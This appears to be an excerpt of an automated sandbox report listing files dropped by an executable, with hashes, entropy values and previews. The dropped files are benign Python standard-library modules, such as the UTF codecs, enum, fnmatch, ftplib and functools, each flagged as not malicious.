Encrypted:	false
SSDEEP:	24:JMSEVyWuq1IjaatMufQBb+OyW80kzyWEzryW79ZKj9kJxFplR:JMS1q1I2aCuqEzSzhTKOJxTz
MD5:	71C7BEDB2761CE2BCD7D4AB422CF4F40
SHA1:	9BE6A38B88716031ED83825611C3B010284C3677
SHA-256:	16329B46D794F4D13B38A7A2540002E72E176D85237872CA3A24BF3C90D7665C
SHA-512:	D72E83FB2FD71EED49EC72F9B99B87A0341B2923091C6D92B5DEAB7C380418F8BFB868EE064A76FD321EBD2C2D8560A2559D76401730F199870374B4B555E35B
Malicious:	false
Preview:	""" Python 'utf-16-be' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_16_be_encode....def decode(input, errors='strict'):.. return codecs.utf_16_be_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_16_be_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_16_be_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_16_be_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_16_be_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-16-be',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\recover\pw\Lib\encodings\utf_16_le.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.763394951954305
Encrypted:	false
SSDEEP:	24:J+SEVyWMq1IjP8atMufQfb+OyWPy0kzyWuzryWP19ZKj9qJxFplR:J+SHq1I4aCuYizgzXTKQJxTz
MD5:	E34C5A24FE48A17FCBFC4335389F6C4E
SHA1:	4FD9811F688CE9ADDF6B1315600707C46BA02D56
SHA-256:	6D3B04F3ABD9FB6151FEE5CA0426C2E7ED2677EF1358C269747FF8946FFC02B9
SHA-512:	2FE8D6111B3A81F509BB67AB452CEDF9721501222F16E3CCDC4E412BF7BB2383317269ED4059E2C1E82434EF6830794A6EB8AA7DDA2E6230290A8027E601BB10
Malicious:	false
Preview:	""" Python 'utf-16-le' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_16_le_encode....def decode(input, errors='strict'):.. return codecs.utf_16_le_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_16_le_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_16_le_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_16_le_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_16_le_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-16-le',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,..

C:\recover\pw\Lib\encodings\utf_32.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5279
Entropy (8bit):	4.273683297819166
Encrypted:	false
SSDEEP:	96:g+tqC0buY5lRlzeRCGEFdIPv5lLoQwLt6ofvBUpzdf/0iL7+zykV9bkMpZ/ut1fA:DkCSuolRMRCRMhlL7wLt7vYfVL7qbbpd
MD5:	616CF58B40671374C8A7BB69A3EBC565
SHA1:	2F71BE2439277B332CC255B7E0B0F11AFF9AB090
SHA-256:	97F6038F368954DD48BE9B5FA41B1395A71FCA0271B0FEA69F8E16F9F6633775
SHA-512:	43D921D34974BA356A0AE3B650516B7E1108DBFB10618BAC22A0485A5AD1B55D73B1090F77C69C67ACD0C3BE231E4DBD02A32040BCF88FA646610C91F819F341
Malicious:	false
Preview:	"""..Python 'utf-32' Codec.."""..import codecs, sys....### Codec APIs....encode = codecs.utf_32_encode....def decode(input, errors='strict'):.. return codecs.utf_32_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.encoder = None.... def encode(self, input, final=False):.. if self.encoder is None:.. result = codecs.utf_32_encode(input, self.errors)[0].. if sys.byteorder == 'little':.. self.encoder = codecs.utf_32_le_encode.. else:.. self.encoder = codecs.utf_32_be_encode.. return result.. return self.encoder(input, self.errors)[0].... def reset(self):.. codecs.IncrementalEncoder.reset(self).. self.encoder = None.... def getstate(self):.. # state info we return to the caller:.. # 0: stream is in natural order for th

C:\recover\pw\Lib\encodings\utf_32_be.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	967
Entropy (8bit):	4.64840879615024
Encrypted:	false
SSDEEP:	24:g6VyWEq1IjsatMufQ3b+OyWi0kzyWWzryWF9ZKj9KJxFplR:gRq1IQaCusKzwzXTKYJxTz
MD5:	85519A8598572F85931621ACCB60DB87
SHA1:	2B7912D3F1D4042A0778C22C068A18A9AD00B990
SHA-256:	A3698A68287CC78323117D14BE3B0B40F46289A850EB06AA9A5328D44B2A30EF
SHA-512:	AAF1FB52FCB6BCE9D3E026BD4866149D48F5E2434A735DED9165C65A5FD4D0186CC44715A797A890F4E01C9E4CB44453BCA8D4BA6993B93811739CA80E86F5FA
Malicious:	false
Preview:	"""..Python 'utf-32-be' Codec.."""..import codecs....### Codec APIs....encode = codecs.utf_32_be_encode....def decode(input, errors='strict'):.. return codecs.utf_32_be_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_32_be_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_32_be_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_32_be_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_32_be_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-32-be',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\recover\pw\Lib\encodings\utf_32_le.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	967
Entropy (8bit):	4.629711576470682
Encrypted:	false
SSDEEP:	24:gEVyWWq1IjyatMufQpb+OyWE0kzyWczryWj9ZKj95WJxFplR:g5q1IeaCuG8zizhTKGJxTz
MD5:	6647D201D3BAD385BD7897DF02EC45ED
SHA1:	AADB093709162E4B5F9ABA0590235AFE3D96246B
SHA-256:	945AF03D1DA591640DE7176BEF879658594B399AC7BBE564D790893CA7B38A73
SHA-512:	CF7F010E0E199BD017636894D7B1B060E21D2ADF13D81BAE710046889D48604A01D05F10F1B1ACA8033F19E8254857A93334CBBF471E55FD58BD4888B190CE62
Malicious:	false
Preview:	"""..Python 'utf-32-le' Codec.."""..import codecs....### Codec APIs....encode = codecs.utf_32_le_encode....def decode(input, errors='strict'):.. return codecs.utf_32_le_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_32_le_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_32_le_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_32_le_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_32_le_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-32-le',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\recover\pw\Lib\encodings\utf_7.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	984
Entropy (8bit):	4.635801396513396
Encrypted:	false
SSDEEP:	24:JWyVyW6q1IjWatMufQVb+OyWg0kzyW4zryWH9ZKj9+5JxFplR:JWjq1IiaCu24zmzNTK85JxTz
MD5:	ECFD453A49D4C576E4F189CF6B23376C
SHA1:	70B61C19024F20BBC476C11D3CE95AA484225D09
SHA-256:	1BE7FC4C85EDAAB33427D3F1230D56B8A4B0D75566F726D9DFC50FACEA36688B
SHA-512:	F6AB67F17F586459362581DD894D3CAF62D67E283C075DFCD15B2D03E0AC79FF53E31853900A9EFF5E8778ECEC7AEE7A945EA55368D663FF82F657E7950B4A51
Malicious:	false
Preview:	""" Python 'utf-7' Codec....Written by Brian Quinlan (brian@sweetapp.com)..."""..import codecs....### Codec APIs....encode = codecs.utf_7_encode....def decode(input, errors='strict'):.. return codecs.utf_7_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_7_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_7_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_7_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_7_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-7',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReader,.. streamwriter=StreamWriter,.. )..

C:\recover\pw\Lib\encodings\utf_8.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	4.729776202710733
Encrypted:	false
SSDEEP:	24:JgqSEVyW7yEq1IjPatMufQ7y3b+OyWR0kzyW7yWzryWc9ZKj9/JxFplR:J1SKyEq1IjaCuwyr5z1yWzeTKZJxTz
MD5:	F932D95AFCAEA5FDC12E72D25565F948
SHA1:	2685D94BA1536B7870B7172C06FE72CF749B4D29
SHA-256:	9C54C7DB8CE0722CA4DDB5F45D4E170357E37991AFB3FCDC091721BF6C09257E
SHA-512:	A10035AE10B963D2183D31C72FF681A21ED9E255DDA22624CBAF8DBED5AFBDE7BE05BB719B07573DE9275D8B4793D2F4AEF0C0C8346203EEA606BB818A02CAB6
Malicious:	false
Preview:	""" Python 'utf-8' Codec......Written by Marc-Andre Lemburg (mal@lemburg.com).....(c) Copyright CNRI, All Rights Reserved. NO WARRANTY....."""..import codecs....### Codec APIs....encode = codecs.utf_8_encode....def decode(input, errors='strict'):.. return codecs.utf_8_decode(input, errors, True)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.utf_8_encode(input, self.errors)[0]....class IncrementalDecoder(codecs.BufferedIncrementalDecoder):.. _buffer_decode = codecs.utf_8_decode....class StreamWriter(codecs.StreamWriter):.. encode = codecs.utf_8_encode....class StreamReader(codecs.StreamReader):.. decode = codecs.utf_8_decode....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='utf-8',.. encode=encode,.. decode=decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamreader=StreamReade

C:\recover\pw\Lib\encodings\utf_8_sig.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4263
Entropy (8bit):	4.440495855479389
Encrypted:	false
SSDEEP:	96:JGJ9aCCIFyqPICuY5lRlDrwzRC35v5lLo3YCaLt3AvBNiLD1Lg9Ft1QYxTKB3:8J9vCIFTwCuolR9rwzRCJhlLIaLtQv+d
MD5:	99B035D3C80B206F86E525A4DB7704D3
SHA1:	5006274B7CC61564CF6839AC070631F788FD5FCB
SHA-256:	21A95BB95448F2F064F08AA2C89E843B87A20A5A13C45C6C47C288F2BE5219A4
SHA-512:	B19A6876EB04CD5739F99C7C0A07B2269E2EB9A72199A656149DD2B87A25EB0F9945CD9CAEFD2B7DA8756386468294493C6353645CB055343F008CDCFF115F4F
Malicious:	false
Preview:	""" Python 'utf-8-sig' Codec..This work similar to UTF-8 with the following changes:....* On encoding/writing a UTF-8 encoded BOM will be prepended/written as the.. first three bytes.....* On decoding/reading if the first three bytes are a UTF-8 encoded BOM, these.. bytes will be skipped..."""..import codecs....### Codec APIs....def encode(input, errors='strict'):.. return (codecs.BOM_UTF8 + codecs.utf_8_encode(input, errors)[0],.. len(input))....def decode(input, errors='strict'):.. prefix = 0.. if input[:3] == codecs.BOM_UTF8:.. input = input[3:].. prefix = 3.. (output, consumed) = codecs.utf_8_decode(input, errors, True).. return (output, consumed+prefix)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. codecs.IncrementalEncoder.__init__(self, errors).. self.first = 1.... def encode(self, input, final=False):.. if self.first:.. self.first = 0.. r

C:\recover\pw\Lib\encodings\uu_codec.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2954
Entropy (8bit):	4.703525654326454
Encrypted:	false
SSDEEP:	48:XnE2/bf1OV5FPdLLlKTOARSMoxz1AFPLpLGpW7NRp6/df1Fo141RzuwBvIvPTKrf:XESf1OVjPpUOAoMot8P1HJydf/omXu+P
MD5:	C62CEDA36D6B362A2250094DFA2EF15A
SHA1:	D96068DC9790D38B44F3DA580F134EF1C7288B33
SHA-256:	3991C68ACBB5CE946C6BA71CCB044FBBB449F9EAC9B76262456537EAEBEF9340
SHA-512:	6C0296817CA26680858DB78B38BF1D1BE39FC7EDB7894979251EA3281496E7447914A12C9C5B41A1EAD12610DD472C00FF9752816FE30CFF4298C083DA29B3A3
Malicious:	false
Preview:	"""Python 'uu_codec' Codec - UU content transfer encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com). Some details were..adapted from uu.py which was written by Lance Ellinghouse and..modified by Jack Jansen and Fredrik Lundh..."""....import codecs..import binascii..from io import BytesIO....### Codec APIs....def uu_encode(input, errors='strict', filename='<data>', mode=0o666):.. assert errors == 'strict'.. infile = BytesIO(input).. outfile = BytesIO().. read = infile.read.. write = outfile.write.... # Remove newline chars from filename.. filename = filename.replace('\n','\\n').. filename = filename.replace('\r','\\r').... # Encode.. write(('begin %o %s\n' % (mode & 0o777, filename)).encode('ascii')).. chunk = read(45).. while chunk:.. write(binascii.b2a_uu(chunk)).. chunk = read(45).. write(b' \nend\n').... return (outfile.getvalue(), len(input))....def uu_decode(input, error

C:\recover\pw\Lib\encodings\zlib_codec.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2281
Entropy (8bit):	4.555875191198799
Encrypted:	false
SSDEEP:	48:XLDD4W1AIejO1AI73101ouY51wdP7z0I51wzD5x6Ftx0+HvIvPTKyJxTPH:XHD4W/ejO/73OauY5y7z/58uXnA3TKyD
MD5:	77C7F92636D3B55460B5E1AFD451D5DB
SHA1:	DCE6B27A30BC191F9CFA34DEA5A27682AE274DE4
SHA-256:	9B660028249BDB7E9B80AF1D5432BF0C90B132A6D0DD205E2DED2A3B3275B728
SHA-512:	93E2E6197321CAD932F88F234EBFAD23F88ABB00C18D2F80C5711D15119CA4D0D1AB261156D6E9A7E1FEEA8A30675759823A3353F353551BA887101CDBBFA98D
Malicious:	false
Preview:	"""Python 'zlib_codec' Codec - zlib compression encoding.....This codec de/encodes from bytes to bytes.....Written by Marc-Andre Lemburg (mal@lemburg.com)..."""....import codecs..import zlib # this codec needs the optional zlib module !....### Codec APIs....def zlib_encode(input, errors='strict'):.. assert errors == 'strict'.. return (zlib.compress(input), len(input))....def zlib_decode(input, errors='strict'):.. assert errors == 'strict'.. return (zlib.decompress(input), len(input))....class Codec(codecs.Codec):.. def encode(self, input, errors='strict'):.. return zlib_encode(input, errors).. def decode(self, input, errors='strict'):.. return zlib_decode(input, errors)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def __init__(self, errors='strict'):.. assert errors == 'strict'.. self.errors = errors.. self.compressobj = zlib.compressobj().... def encode(self, input, final=False):.. if final:.. c

C:\recover\pw\Lib\enum.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	40884
Entropy (8bit):	4.212002396918681
Encrypted:	false
SSDEEP:	384:kSaCRtqc9awL8yzjb4IuSzIcvYFgvHEo0FBbefYu4V+QOxTCe7IpW3W+KP4qxkIr:kShRtqcdp43cvcZFBNFdaI5h/EiAi
MD5:	F87CAC79AB835BAC55991134E9C64A35
SHA1:	63D509BF705342A967CDD1AF116FE2E18CD9346F
SHA-256:	303AFEA74D4A1675A48C6A8D7C4764DA68DBEF1092DC440E4BF3C901F8155609
SHA-512:	9A087073E285F0F19AB210ECEEFB9E2284FFFD87C273413E66575491023A8DCB4295B7C25388F1C2E8E16A74D3B3BFF13EC725BE75DC827541E68364E3A95A6D
Malicious:	false
Preview:	import sys..from types import MappingProxyType, DynamicClassAttribute......__all__ = [.. 'EnumMeta',.. 'Enum', 'IntEnum', 'Flag', 'IntFlag',.. 'auto', 'unique',.. ]......def _is_descriptor(obj):.. """.. Returns True if obj is a descriptor, False otherwise... """.. return (.. hasattr(obj, '__get__') or.. hasattr(obj, '__set__') or.. hasattr(obj, '__delete__').. )....def _is_dunder(name):.. """.. Returns True if a __dunder__ name, False otherwise... """.. return (.. len(name) > 4 and.. name[:2] == name[-2:] == '__' and.. name[2] != '_' and.. name[-3] != '_'.. )....def _is_sunder(name):.. """.. Returns True if a _sunder_ name, False otherwise... """.. return (.. len(name) > 2 and.. name[0] == name[-1] == '_' and.. name[1:2] != '_' and.. name[-2:-1] != '_'.. )....def _is_priv

C:\recover\pw\Lib\filecmp.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10491
Entropy (8bit):	4.527930173678213
Encrypted:	false
SSDEEP:	96:S4TNBBnKhVsBrA7go4ly/vF1AUCzRUYqRvmC14ziCI6mM/MXiYPWEiOVtYhV+BdI:SWZvoF/vrierHCJmM/MltcV+T9x9FxS
MD5:	5BFEBC272A65E815586C0B477529A23B
SHA1:	ABFDCD66A595B8E4FBD983F02DB3E3E17EFBE7D2
SHA-256:	DF39A8D67A582E8E4F54B665B7FD5D87E0754982AC5FBDD6CED3E09039CDAE8D
SHA-512:	04B93F5EAD263FF9889AE3CF97950263559EA8F454594A21F2041973B0DD340564DF5A4F1BEDFA313FDD25BBAB0013ED29FAA3FF911CE9A931C3C3631F4407B8
Malicious:	false
Preview:	"""Utilities for comparing files and directories.....Classes:.. dircmp....Functions:.. cmp(f1, f2, shallow=True) -> int.. cmpfiles(a, b, common) -> ([], [], []).. clear_cache()...."""....import os..import stat..from itertools import filterfalse..from types import GenericAlias....__all__ = ['clear_cache', 'cmp', 'dircmp', 'cmpfiles', 'DEFAULT_IGNORES']...._cache = {}..BUFSIZE = 8*1024....DEFAULT_IGNORES = [.. 'RCS', 'CVS', 'tags', '.git', '.hg', '.bzr', '_darcs', '__pycache__']....def clear_cache():.. """Clear the filecmp cache.""".. _cache.clear()....def cmp(f1, f2, shallow=True):.. """Compare two files..... Arguments:.... f1 -- First file name.... f2 -- Second file name.... shallow -- treat files as identical if their stat signatures (type, size,.. mtime) are identical. Otherwise, files are considered different.. if their sizes or contents differ. [default: True].... Return value:.... True if the files are the same

C:\recover\pw\Lib\fileinput.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	16904
Entropy (8bit):	4.324042229701554
Encrypted:	false
SSDEEP:	192:aPuyi2h40tVqXZqRPUJeRalQFufMR2RgzRXhRWRhRHR8p8ido/5V6E0j0ZP5Od/C:muy7h40QZqR/nFufe8gNXXcXx4oVPZPn
MD5:	53551CACE03FF1ECBAF2BB02E0F07F1E
SHA1:	06C4B1BA4C943CC08A468E5603AEFE7FAEAEFD20
SHA-256:	8EE12B8E0A09A58129E2AB4D12FA1B132054F12C4090F7FACB943A163C09710F
SHA-512:	EB108AA2557C4A556EF2CDAEFBA2CEC5A95AB2B72DFFCF9B2F96A6199E4202189CAF2E432A67FC907C3FC604EFB7ECE50D859A471D2DB26DFF8C6D0212BB2709
Malicious:	false
Preview:	"""Helper class to quickly write a loop over all standard input files.....Typical use is:.... import fileinput.. for line in fileinput.input(encoding="utf-8"):.. process(line)....This iterates over the lines of all files listed in sys.argv[1:],..defaulting to sys.stdin if the list is empty. If a filename is '-' it..is also replaced by sys.stdin and the optional arguments mode and..openhook are ignored. To specify an alternative list of filenames,..pass it as the argument to input(). A single file name is also allowed.....Functions filename(), lineno() return the filename and cumulative line..number of the line that has just been read; filelineno() returns its..line number in the current file; isfirstline() returns true iff the..line just read is the first line of its file; isstdin() returns true..iff the line was read from sys.stdin. Function nextfile() closes the..current file so that the next iteration will read the first line from..the next file (if any); lines not

C:\recover\pw\Lib\fnmatch.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6912
Entropy (8bit):	4.406960177155352
Encrypted:	false
SSDEEP:	192:mgdA3GVpoP8oQAhpt4CLJzovn6WkPmByCJi9Xknf06hAIbFR4E:X4CFaJQyCJi9Xkf7x
MD5:	9EDB2D03A76A80ABE64419ACA82EB8A9
SHA1:	1F4C2A1965749322D8F00A09B2F9C5CEBC10D838
SHA-256:	99069DC503E3AA219B5948A5795F1E03A2D4D16786707F7AC10684B4486B66CE
SHA-512:	456828214E46FF835BE80BCB047A044EE3DA189992E7A84D79DD35D61A6737DAF523F8550DEE6B92E926BD3CBF50F40F09DCB78D1D136FCFCB21B253DFDFC8C5
Malicious:	false
Preview:	"""Filename matching with shell patterns.....fnmatch(FILENAME, PATTERN) matches according to the local convention...fnmatchcase(FILENAME, PATTERN) always takes case in account.....The functions operate by translating the pattern into a regular..expression. They cache the compiled regular expressions for speed.....The function translate(PATTERN) returns a regular expression..corresponding to PATTERN. (It does not compile it.).."""..import os..import posixpath..import re..import functools....__all__ = ["filter", "fnmatch", "fnmatchcase", "translate"]....# Build a thread-safe incrementing counter to help create unique regexp group..# names across calls...from itertools import count.._nextgroupnum = count().__next__..del count....def fnmatch(name, pat):.. """Test whether FILENAME matches PATTERN..... Patterns are Unix shell style:.... * matches everything.. ? matches any single character.. [seq] matches any character in seq.. [!seq] matches any char not i

C:\recover\pw\Lib\fractions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28990
Entropy (8bit):	4.386995679707714
Encrypted:	false
SSDEEP:	384:sYYcjYLGi0di34CXYWETikB0040ArA4cwNlxpjOmGa+:sYzsLGi0649J7Qxpsa+
MD5:	D79E7362E8855E4216B46F90A2D664DF
SHA1:	5580BD5171CED40ADFBF2E95C5DBCEC184A44E20
SHA-256:	AF973E4F1A157C6D1AF2F16A63B384A6DFED0D64880A56DB96EA4E0D8D6EB12D
SHA-512:	DCF9E0486490263D30B60FC1CF1800A1763B6E3DF23CD77C11CF83D7C1AC8ABB34EBF522895BC88D5F409E59C2D93663926D1CA2FAE520631722FDC45E5106D3
Malicious:	false
Preview:	# Originally contributed by Sjoerd Mullender...# Significantly modified by Jeffrey Yasskin <jyasskin at gmail.com>....."""Fraction, infinite-precision, real numbers."""....from decimal import Decimal..import math..import numbers..import operator..import re..import sys....__all__ = ['Fraction']......# Constants related to the hash implementation; hash(x) is based..# on the reduction of x modulo the prime _PyHASH_MODULUS..._PyHASH_MODULUS = sys.hash_info.modulus..# Value to be used for rationals that reduce to infinity modulo..# _PyHASH_MODULUS..._PyHASH_INF = sys.hash_info.inf...._RATIONAL_FORMAT = re.compile(r""".. \A\s* # optional whitespace at the start, then.. (?P<sign>[-+]?) # an optional sign, then.. (?=\d\|\.\d) # lookahead for digit or .digit.. (?P<num>\d*) # numerator (possibly empty).. (?: # followed by.. (?:/(?P<denom>\d+))? # an optional denominator.. \|

C:\recover\pw\Lib\ftplib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	36477
Entropy (8bit):	4.494220235473389
Encrypted:	false
SSDEEP:	768:xp+qv4dk/rJQJ9+Lx8CDSh8Y+3+amueaw+QHCRi3LdO:xpDTzJQJiDSh8Y+3+fzKEei3L8
MD5:	B14842A034453578318FD0ACD801A0CC
SHA1:	6E4F32C29E9296DCE1452ACE023894F0E1A8B756
SHA-256:	B85739A95BE5A2374013E9892DBFA5AC75312024EF7EBB9BCB4102B0F5BF0F82
SHA-512:	58A628BBC100E1CA623ADA41C2E79302B15A1ED6E5920F385ED26B711383C01483F150AB3DFD39C8A07834A1FCA68F90AE3B4F2CCB59DB8280ED812F93320962
Malicious:	false
Preview:	"""An FTP client class and some helper functions.....Based on RFC 959: File Transfer Protocol (FTP), by J. Postel and J. Reynolds....Example:....>>> from ftplib import FTP..>>> ftp = FTP('ftp.python.org') # connect to host, default port..>>> ftp.login() # default, i.e.: user anonymous, passwd anonymous@..'230 Guest login ok, access restrictions apply.'..>>> ftp.retrlines('LIST') # list directory contents..total 9..drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ...drwxr-xr-x 8 root wheel 1024 Jan 3 1994 ....drwxr-xr-x 2 root wheel 1024 Jan 3 1994 bin..drwxr-xr-x 2 root wheel 1024 Jan 3 1994 etc..d-wxrwxr-x 2 ftp wheel 1024 Sep 5 13:43 incoming..drwxr-xr-x 2 root wheel 1024 Nov 17 1993 lib..drwxr-xr-x 6 1094 wheel 1024 Sep 13 19:07 pub..drwxr-xr-x 3 root wheel 1024 Jan 3 1994 usr..-rw-r--r-- 1 root root 312 Aug 1 1994 welcome.msg..'226 Transfer complete.'..>>> ft

C:\recover\pw\Lib\functools.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	39068
Entropy (8bit):	4.558893536012342
Encrypted:	false
SSDEEP:	768:sWkKM+qgJeCAkxPN2NqXBF7sMHrCXZdgbV6TeLCD+26:sWkfgJeCAk7v7sMHrCpEWB6
MD5:	E451C9675E4233DE278ACF700AC7395F
SHA1:	1E7D4C5DB5FC692540C31E1B4DB4679051EB5DF8
SHA-256:	B4698D03B4D366F2B032F5DE66B8181ED8E371C0D7D714B7672432E18D80636B
SHA-512:	4DB40159DB7427CE05D36AA3A6B05151742E6C122DFBDC679C10DCC667FC999FF1302BB2E2BE6F58B895911CF436B27AD78FD64CCF077DEB94046667520111B9
Malicious:	false
Preview:	"""functools.py - Tools for working with functions and callable objects.."""..# Python module wrapper for _functools C module..# to allow utilities written in Python to be added..# to the functools module...# Written by Nick Coghlan <ncoghlan at gmail.com>,..# Raymond Hettinger <python at rcn.com>,..# and .ukasz Langa <lukasz at langa.pl>...# Copyright (C) 2006-2013 Python Software Foundation...# See C source code for _functools credits/copyright....__all__ = ['update_wrapper', 'wraps', 'WRAPPER_ASSIGNMENTS', 'WRAPPER_UPDATES',.. 'total_ordering', 'cache', 'cmp_to_key', 'lru_cache', 'reduce',.. 'partial', 'partialmethod', 'singledispatch', 'singledispatchmethod',.. 'cached_property']....from abc import get_cache_token..from collections import namedtuple..# import types, weakref # Deferred to single_dispatch()..from reprlib import recursive_repr..from _thread import RLock..from types import GenericAlias......#############################################

C:\recover\pw\Lib\genericpath.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5130
Entropy (8bit):	4.610395495126573
Encrypted:	false
SSDEEP:	96:jqn24r0OS60O04+jl2LyqSgPGfGeYM6Zf8lG4iuRs+laP8q+PCI7ocfz/r/j:jq24r0v60hLhWL+fuMeebiuRPr/r/j
MD5:	5AD610407613DEFB331290EE02154C42
SHA1:	3FF9028BDF7346385607B5A3235F5FF703BCF207
SHA-256:	2E162781CD02127606F3F221FCAA19C183672D1D3E20FDB83FE9950AB5024244
SHA-512:	9A742C168A6C708A06F4307ABCB92CEDE02400BF53A004669B08BD3757D8DB7C660934474EC379C0464E17FFD25310DBAB525B6991CF493E97DCD49C4038F9B7
Malicious:	false
Preview:	"""..Path operations common to more than one OS..Do not use directly. The OS specific modules import the appropriate..functions from this module themselves..."""..import os..import stat....__all__ = ['commonprefix', 'exists', 'getatime', 'getctime', 'getmtime',.. 'getsize', 'isdir', 'isfile', 'samefile', 'sameopenfile',.. 'samestat']......# Does a path exist?..# This is false for dangling symbolic links on systems that support them...def exists(path):.. """Test whether a path exists. Returns False for broken symbolic links""".. try:.. os.stat(path).. except (OSError, ValueError):.. return False.. return True......# This follows symbolic links, so both islink() and isdir() can be true..# for the same path on systems that support symlinks..def isfile(path):.. """Test whether a path is a regular file""".. try:.. st = os.stat(path).. except (OSError, ValueError):.. return False.. return stat.S_ISREG(st.st_mode)......

C:\recover\pw\Lib\getopt.py

